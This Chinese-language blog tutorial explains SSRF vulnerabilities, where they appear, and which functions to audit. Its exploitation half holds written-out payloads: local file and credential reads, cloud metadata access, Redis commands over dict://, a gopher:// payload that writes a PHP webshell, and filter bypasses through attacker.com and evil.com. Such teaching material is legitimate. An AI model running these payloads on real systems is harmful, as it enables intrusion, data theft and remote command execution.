本文最后更新于 54 天前,其中的信息可能已经有所发展或是发生改变。
漏洞定义
服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
漏洞原理
SSRF漏洞形成的根本原因是服务端应用程序在处理用户可控的URL或资源地址时,没有实施足够的验证和限制。当应用程序需要从其他服务器获取数据(如图片、文件、API响应等)时,如果直接使用用户提供的URL而不进行严格过滤,就可能导致SSRF漏洞。
SSRF漏洞环节:
- 用户输入控制:应用程序允许用户指定资源的URL或地址
- 服务器端请求:应用程序使用这些用户提供的地址发起服务器端请求
- 缺乏验证:应用程序未对请求目标进行充分的验证和限制
- 特权执行:请求以服务器的身份和权限执行,可能访问内部资源
以下是一个典型的SSRF漏洞场景:某网站提供在线图片处理功能,允许用户指定图片URL,服务器获取该图片后进行处理。如果该功能未对URL进行严格验证,攻击者可以提供指向内部服务的URL(如http://internal-service:8080/admin
),服务器会尝试访问这个内部服务,从而可能泄露敏感信息或触发未授权操作。
SSRF漏洞的分类与特征
基于目标的分类
- 内网SSRF:攻击者利用SSRF访问内部网络资源,如内部服务器、数据库、管理接口等。
http://vulnerable-app.com/fetch?url=http://internal-admin.local/users
- 本地SSRF:攻击者利用SSRF访问目标服务器本身的资源,如本地文件、本地服务等。
http://vulnerable-app.com/fetch?url=file:///etc/passwd
- 外网SSRF:攻击者利用目标服务器作为代理,访问外部资源或绕过IP限制。
http://vulnerable-app.com/fetch?url=http://attacker-controlled.com/malicious-script
- 云元数据SSRF:特指利用SSRF访问云服务提供商的元数据服务,获取敏感配置和凭证。
http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/
基于反馈的分类
- 有回显SSRF:服务器将请求的响应内容返回给攻击者,使攻击者能够直接获取目标资源的内容。
http://vulnerable-app.com/preview?url=http://internal-service/config
// 返回内部服务的配置内容
- 无回显SSRF(盲SSRF):服务器不返回请求的响应内容,攻击者需要通过间接方式推断请求结果。
http://vulnerable-app.com/check?url=http://internal-service/admin
// 仅返回"URL已检查",不显示具体内容
- 半回显SSRF:服务器返回部分响应信息或状态码,攻击者可以获取有限的反馈。
http://vulnerable-app.com/status?url=http://internal-service/api
// 返回"状态码: 200",但不显示响应内容
SSRF的典型特征
SSRF漏洞通常具有以下特征,这些特征也是识别潜在SSRF漏洞的重要线索:
- URL参数化:应用程序接受URL作为参数,并使用该URL获取资源。
/api/fetch?url=https://example.com/resource
- 资源加载功能:应用程序提供加载远程资源的功能,如图片、文件、网页内容等。
/preview?image=https://example.com/image.jpg
- API集成点:应用程序与其他服务集成,并允许用户指定集成端点。
/integrate?endpoint=https://api.service.com/v1
- 回调URL:应用程序接受回调URL,用于异步通知或webhook。
/webhook/register?callback=https://my-service.com/notify
- 文档转换服务:应用程序提供HTML到PDF、URL到截图等转换功能。
/convert?webpage=https://example.com
漏洞危害
- 内网探测与信息搜集:扫描内部网络和开放服务
for port in range(1, 10000):
url = f"http://vulnerable-app.com/fetch?url=http://internal-server:{port}"
# 通过响应判断端口是否开放
- 访问内部敏感资源:访问内网资源,如管理接口、内部api等。
http://vulnerable-app.com/fetch?url=http://internal-admin:8080/dashboard
- 读取本地敏感文件:使用file协议或特定URL构造,读取服务器上敏感文件。
http://vulnerable-app.com/fetch?url=file:///etc/shadow
- 绕过防火墙和访问控制:使用服务器作为代理,绕过ip限制或者防火墙。
# 目标服务器可以访问internal-api,而攻击者IP被禁止
http://vulnerable-app.com/fetch?url=http://internal-api/restricted-data
- 作为攻击链一环
- 利用SSRF访问内部Jenkins服务
- 利用Jenkins执行命令获取服务器控制权
- 横向移动至其他内部系统
- 漏洞组合
# SSRF + XXE组合攻击
http://vulnerable-app.com/fetch?url=http://attacker.com/xxe-payload.xml
- DOS:控制服务器不断请求大文件,消耗宽带和内存形成拒绝服务攻击。
常见漏洞点
- 图片处理服务:允许用户指定远程图片URL进行操作
/image/process?url=https://example.com/image.jpg&width=300&height=200
- 文档转换服务:将网页转换PDF等
/convert/html2pdf?url=https://example.com/document.html
- 网页截图服务:提供URL生成网页截图
/screenshot?url=https://example.com
- 文件下载:指定URL下载文件给用户
/download?url=https://example.com/file.zip
- API代理:代理用户请求第三方API
/api/proxy?endpoint=https://api.service.com/v1/data
- RSS/Atom订阅:获取并解析远程RSS/Atom源
/rss/reader?feed=https://blog.example.com/feed.xml
- Webhook配置:允许用户配置事件通知的回调URL
/settings/webhook?callback=https://my-service.com/notify
- 远程内容嵌入:允许用户在页面潜入远程内容
/embed?content=https://example.com/widget
- URL预览:生成链接预览卡片
/preview?url=https://example.com/article
- 社交分享:通过URL分享内容到社交媒体
/share?url=https://example.com/post
- 网页翻译:翻译指定URL内容
/translate?url=https://example.com&to=zh-CN
- 健康检查:检查远程服务可用性
/health/check?endpoint=https://api.service.com/health
- 网络诊断:提供ping等网络诊断工具
/network/diagnose?host=example.com
- 日志聚合:从多个源收集日志
/logs/collect?source=https://service.internal/logs
漏洞敏感词
在代码审计或黑盒测试中,以下关键词和参数名可能指示潜在的SSRF漏洞点:
- url, uri, link, source, target, path, dest, redirect, uri, src, href
- callback, webhook, hook, notify, notification
- feed, rss, atom, xml, soap, wsdl, uddi
- proxy, fetch, get, download, upload
- preview, thumbnail, screenshot
- share, embed, embed_url
- import, export, load, include, require
SSRF漏洞利用技术
漏洞发现
- 黑盒测试:寻找上传URL的可疑参数,输入恶意URL观察应用行为判断
# 测试内部主机访问
http://target.com/fetch?url=http://localhost/
# 测试内部网络访问
http://target.com/fetch?url=http://192.168.0.1/
- 代码审计:审查源代码中可能导致SSRF的函数和模式。
编程语言 | 函数/方法/类 | 危险点描述 | 备注/常见场景 |
---|---|---|---|
通用 | 文件读取/包含函数 (支持网络协议时) | 当函数可以处理 http:// , https:// , ftp:// , file:// , gopher:// 等协议时,用户控制的 URL 可导致 SSRF。 | file:// 可读取服务器文件;gopher:// 可攻击其他协议。 |
通用 | XML 解析器 (启用外部实体时) | 解析恶意 XML 时,<!ENTITY xxe SYSTEM "http://internal"> 会触发对内部系统的请求。 | XXE 漏洞通常导致 SSRF。 需禁用外部实体加载 (DTD, DOCTYPE)。 |
Python | requests.get() , requests.post() , requests.request() | 用户直接或间接控制目标 URL 参数。 | 非常常见,功能强大。 |
Python | urllib.request.urlopen() | 用户控制传入的 URL 字符串。 | 标准库函数。 |
Python | httpx.get() , httpx.post() , httpx.Client() | 类似 requests ,用户控制 URL。 | 异步支持好。 |
Python | aiohttp.ClientSession().get() | 异步 HTTP 客户端,用户控制 URL。 | |
Python | lxml.etree.parse() , xml.etree.ElementTree.parse() | 解析 XML 时,若未禁用外部实体,可触发 SSRF。 | XXE -> SSRF |
PHP | file_get_contents() | 参数为 http:// 等 URL 时,会获取远程内容。 | 极高危且常见。 |
PHP | fopen() | 打开 http:// 等 URL 时,类似于文件句柄,后续操作可能导致请求。 | |
PHP | curl_exec() | cURL 执行,用户控制 CURLOPT_URL 选项。 | 功能强大,可支持多种协议。 |
PHP | fsockopen() | 打开网络 Socket 连接,用户控制主机名和端口。 | 底层网络操作。 |
PHP | SoapClient 构造函数 | WSDL 文件位置参数 ($wsdl ) 如果用户可控,可导致请求内部 URL。 | SOAP 服务相关。 |
PHP | include , require , include_once , require_once | 仅当 allow_url_include=On (极不安全配置),可通过 http:// 等包含远程文件执行代码。 | 高危配置,不常见但危害巨大。 |
PHP | file() , readfile() | 读取 http:// 等 URL 内容。 | |
Java | java.net.URL.openStream() | 打开 URL 的输入流,用户控制 URL 对象。 | |
Java | java.net.URLConnection.connect() , .getInputStream() | 建立 URL 连接并获取输入流,用户控制 URL。 | |
Java | java.net.http.HttpClient.send() | Java 11+ 的 HTTP 客户端,用户控制请求 URI。 | |
Java | okhttp3.OkHttpClient.newCall().execute() | OkHttp 库执行请求,用户控制 Request 对象的 URL。 | 流行第三方库。 |
Java | org.apache.http.client.HttpClient.execute() | Apache HttpClient 执行请求,用户控制目标 URI。 | 流行第三方库。 |
Java | javax.imageio.ImageIO.read(URL) | 从 URL 读取图像,用户控制 URL。 | 图像处理时可能引入。 |
Java | DocumentBuilder.parse() , SAXParser.parse() , XMLReader.parse() | XML 解析,若未禁用外部实体,可触发 SSRF。 | XXE -> SSRF |
Node.js | http.get() , https.get() | Node.js 核心模块发起 HTTP(S) 请求,用户控制 options 或 URL 字符串。 | |
Node.js | fetch() | Node.js 18+ 原生或 polyfill,用户控制 URL 和选项。 | 浏览器风格 API。 |
Node.js | axios.get() , axios.post() , axios() | Axios 库发起请求,用户控制 url 配置。 | 流行第三方库。 |
Node.js | request() (已弃用但仍有使用) | request 库发起请求,用户控制 uri 或 url 。 | 曾经非常流行。 |
Node.js | superagent.get() , superagent.post() | Superagent 库发起请求,用户控制 .get(url) 参数。 | |
.NET (C#) | HttpClient.GetAsync() , PostAsync() 等 | 异步 HTTP 请求,用户控制 Uri 或 URL 字符串。 | .NET 推荐方式。 |
.NET (C#) | WebClient.DownloadString() , DownloadData() , DownloadFile() | 便捷类发起请求,用户控制 URL。 | 较旧,但仍在使用。 |
.NET (C#) | WebRequest.Create().GetResponse() | 创建请求并获取响应,用户控制 URL。 | |
.NET (C#) | HttpWebRequest.GetResponse() | 获取请求响应,用户控制 HttpWebRequest 的 URL。 | |
.NET (C#) | XmlDocument.Load() , XmlReader.Create() | XML 解析,若未配置安全选项禁用外部实体,可触发 SSRF。 | XXE -> SSRF |
Ruby | Net::HTTP.get() , Net::HTTP.get_response() | Ruby 标准库发起 GET 请求,用户控制 URI。 | |
Ruby | OpenURI.open() | 类似文件打开,支持 URL 协议,用户控制参数。 | |
Ruby | RestClient.get() , RestClient.post() | RestClient 库发起请求,用户控制 URL。 | |
Ruby | Faraday.get() , Faraday.post() | Faraday 库发起请求,用户控制 URL。 | |
Go | http.Get() | 发起 HTTP GET 请求,用户控制 URL 字符串。 | |
Go | http.NewRequest() + http.Client.Do() | 创建请求对象并用 Client 执行,用户控制请求的 URL。 | 更灵活的方式。 |
命令行/工具 | ImageMagick/GraphicsMagick (convert , identify 等) | 处理用户提供的包含 https:// , ftp:// , file:// 等协议的路径参数时。 | 通过文件上传等功能间接触发。 |
命令行/工具 | wkhtmltopdf, PrinceXML 等 PDF 生成器 | 转换包含外部资源(图片、CSS、字体)的 HTML 时,会请求这些 URL。 | |
其他 | 自定义协议处理器 | 应用或依赖库实现了处理 redis:// , gopher:// , ldap:// 等非 HTTP 协议的代码,用户可控输入指向这些协议 URL 时。 | gopher:// 尤其危险,可构造任意 TCP 协议包。 |
其他 | 邮件解析/链接预览器 | 解析邮件内容或网页中的链接并尝试访问以生成预览。 | |
其他 | 数据库驱动/连接字符串 (罕见) | 某些特定驱动可能根据连接字符串中的 URL 去获取配置(非主流,但需警惕)。 |
- 流量分析:分析应用的网络流量,识别可能由用户输入触发的服务器端请求。
- 使用回显服务:利用Burp Collaborator、RequestBin等工具创建唯一URL,检测服务器是否发出请求。
http://target.com/fetch?url=http://uniqueid.burpcollaborator.net
- 时间延迟:使用会导致延迟的URL,观察响应时间变化。
http://target.com/fetch?url=http://slowwly.robertomurray.co.uk/delay/5000/url/http://example.com
- 错误消息分析:分析不同URL输入导致的错误消息差异。
漏洞利用
利用流程:
- 确定漏洞类型:判断是有回显SSRF还是无回显SSRF
- 识别过滤机制:测试各种URL格式和协议,确认目标应用的过滤和限制机制。
- 绕过过滤机制:使用不同绕过技术绕过不同的过滤机制
- 目标侦查:收集内网信息
- 服务识别:识别内部服务
- 漏洞利用:针对发现的内部服务,执行具体操作
- 数据提取:提取敏感信息
后渗透
成功利用SSRF漏洞后,攻击者可能进行以下活动:
- 权限提升:利用获取的信息或访问权限,进一步提升权限。
- 横向移动:利用SSRF作为跳板,访问更多内部系统。
- 持久化:建立持久访问机制,如创建后门账户。
- 数据窃取:窃取敏感数据,如配置文件、用户信息等。
- 清除痕迹:删除攻击痕迹,避免被检测。
URL协议利用技术
- HTTP/HTTPS协议:最基本的协议,用于访问web服务
- HTTP重定向:设置一个网站,重定向到一个内网IP。控制被攻击服务器访问该网站,重定向到内网网站
//设置一个重定向到内部服务的外部服务 http://target.com/fetch?url=http://attacker.com/redirect //attacker.com返回302重定向到http://internal-service/
- HTTP认证:利用HTTP基础认证语法混淆URL解析
http://target.com/fetch?url=http://user:password@internal-service/
- HTTP请求走私:某些情况下,可以在HTTP请求中嵌入额外的HTTP请求
http://target.com/fetch?url=http://external-service/ X-Forwarded-For: internal-service
- HTTP重定向:设置一个网站,重定向到一个内网IP。控制被攻击服务器访问该网站,重定向到内网网站
- 文件协议(file://):用于访问服务器本地文件
//基本语法 file://[主机名]/文件路径
http://target.com/fetch?url=file:///etc/passwd http://target.com/fetch?url=file://C:/Windows/win.ini
- 路径遍历:结合路径遍历技术访问任意文件
http://target.com/fetch?url=file:///var/www/html/../../../etc/shadow
- 特殊文件访问:访问特殊文件获取系统信息
http://target.com/fetch?url=file:///proc/self/environ http://target.com/fetch?url=file:///proc/self/cmdline
- 目录列表:某些情况可能可以列出目录内容
http://target.com/fetch?url=file:///var/www/html/
- 路径遍历:结合路径遍历技术访问任意文件
- 字典协议(dict://):用于与字典服务器交互,但也可用于与其他基于文本的服务交互
//基本语法结构 dict://[用户名:密码@]服务器地址[:端口]/命令:参数
- Redis命令执行:利用dict协议与Redis交互
http://target.com/fetch?url=dict://192.168.1.10:6379/info http://target.com/fetch?url=dict://192.168.1.10:6379/CONFIG SET dir /var/www/html/
- Memcached数据提取:访问Memcached服务获取缓存数据
http://target.com/fetch?url=dict://192.168.1.10:11211/stats
- Redis命令执行:利用dict协议与Redis交互
- Gopher协议(gopher://):最强大的SSRF协议之一,允许发送任意TCP数据
//协议结构,默认端口为70 gopher://<host>:<port>/<gopher-path>_TCP数据流 //_后的内容直接作为TCP流量发送到目标端口。 //需对数据流进行URL编码,换行符必须转为`%0d%0a` //支持版本:PHP>=5.3且开启curl或fopen包装器,java<JDK1.7 //若通过`curl_exec()`触发SSRF,需**二次URL编码**;`file_get_contents()`只需一次编码
http://target.com/fetch?url=gopher://internal-service:25/xHELO%20localhost
- 延时探测协议可用性
http://target.com/fetch?url=gopher://114.114.114.114:80/_GET%20/%20HTTP/1.1%0d%0aHost:%20114.114.114.114%0d%0a
- SMTP邮件发送:通过SMTP服务发送邮件
%3E%0D%0ADATA%0D%0ASubject%3A%20Test%0D%0AThis%20is%20a%20test%0D%0A.%0D%0AQUIT
- MySQL命令执行:与MySQL服务交互执行SQL命令
# 需要构造适当的MySQL协议数据包 http://target.com/fetch?url=gopher://192.168.1.10:3306/_[MySQL协议数据]
- Redis命令执行
# 写入Webshell到网站目录 http://target.com/fetch?url=gopher://192.168.1.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
- 延时探测协议可用性
- LDAP协议(ldap://):用于与LDAP目录服务交互
http://target.com/fetch?url=ldap://192.168.1.10:389/dc=example,dc=com
- FTP协议(ftp://):用于与FTP服务器交互
http://target.com/fetch?url=ftp://user:pass@192.168.1.10/
- FTP主动模式利用:在某些情况下,可以利用FTP主动模式进行端口扫描。
- FTP命令注入:在某些实现中,可能存在FTP命令注入的可能性。
- 绕过技术
- IP绕过技术
- 替代表示法:使用IP地址的替代表示形式。
# 十进制表示 http://target.com/fetch?url=http://2130706433/ # 127.0.0.1 # 八进制表示 http://target.com/fetch?url=http://0177.0.0.1/ # 127.0.0.1 # 十六进制表示 http://target.com/fetch?url=http://0x7f.0.0.1/ # 127.0.0.1 # 混合表示 http://target.com/fetch?url=http://0x7f.0.0.0x1/ # 127.0.0.1
- IPv6表示:使用IPv6地址格式。
http://target.com/fetch?url=http://[::1]/ # 127.0.0.1 http://target.com/fetch?url=http://[::ffff:127.0.0.1]/ # 127.0.0.1
- DNS解析:使用解析为内部IP的域名。
# 使用特殊域名服务 http://target.com/fetch?url=http://127.0.0.1.xip.io/ # 使用自定义DNS记录 http://target.com/fetch?url=http://internal.attacker.com/ # 其中internal.attacker.com解析为127.0.0.1
- URL编码:使用不同级别的URL编码混淆IP地址。
http://target.com/fetch?url=http://%31%32%37%2E%30%2E%30%2E%31/
- 非标准分隔符:使用非标准字符分隔IP地址部分。
http://target.com/fetch?url=http://127。0。0。1/
- 域名绕过技术
- 子域名:利用子域名结构绕过过滤
# 如果允许访问example.com http://target.com/fetch?url=http://attacker-controlled.example.com/ # 如果过滤不严格 http://target.com/fetch?url=http://example.com.attacker.com/
- 域名前缀:利用
user:pass@host
语法混淆域名解析http://target.com/fetch?url=http://allowed-domain.com@evil.com/ //浏览器实际访问 `evil.com`,`allowed-domain.com` 被解析为**用户名**部分。 //若过滤仅检查 `://` 到 `/` 或 `?` 之间的内容,可能误判 `allowed-domain.com` 为合法域名。
- 域名解析顺序:利用 URL 片段(
#
)和@
符号干扰解析库http://target.com/fetch?url=http://evil.com#@allowed-domain.com/ //`#` 后的内容为**片段标识符**,**不会发送到服务器**(仅浏览器使用)。 //部分解析库可能错误提取 `@allowed-domain.com/` 为主机名,而实际请求发送到 `evil.com`。
- 协议过滤绕过技术
- 当应用程序仅允许
http/https
协议时,攻击者可能尝试以下绕过方法: - 协议嵌套:在允许的协议里嵌套其他协议
http://target.com/fetch?url=http://evil.com/file.php?url=file:///etc/passwd //外层 URL (`http://evil.com/file.php`) 通过协议校验。 //内层 URL (`file:///etc/passwd`) 被后端服务解析执行,导致本地文件泄露。
- URL重定向:利用http重定向到其他协议
http://target.com/fetch?url=http://evil.com/redirect //攻击者控制 evil.com/redirect 返回 302 重定向:Location: file:///etc/passwd //若应用程序自动跟随重定向,则访问 file:// 协议。
- 协议大小写混写:部分解析器大小写不敏感,若过滤器仅过滤小写或大写,大小写混写协议名即可绕过
- 协议相对URL:使用//继承当前页面协议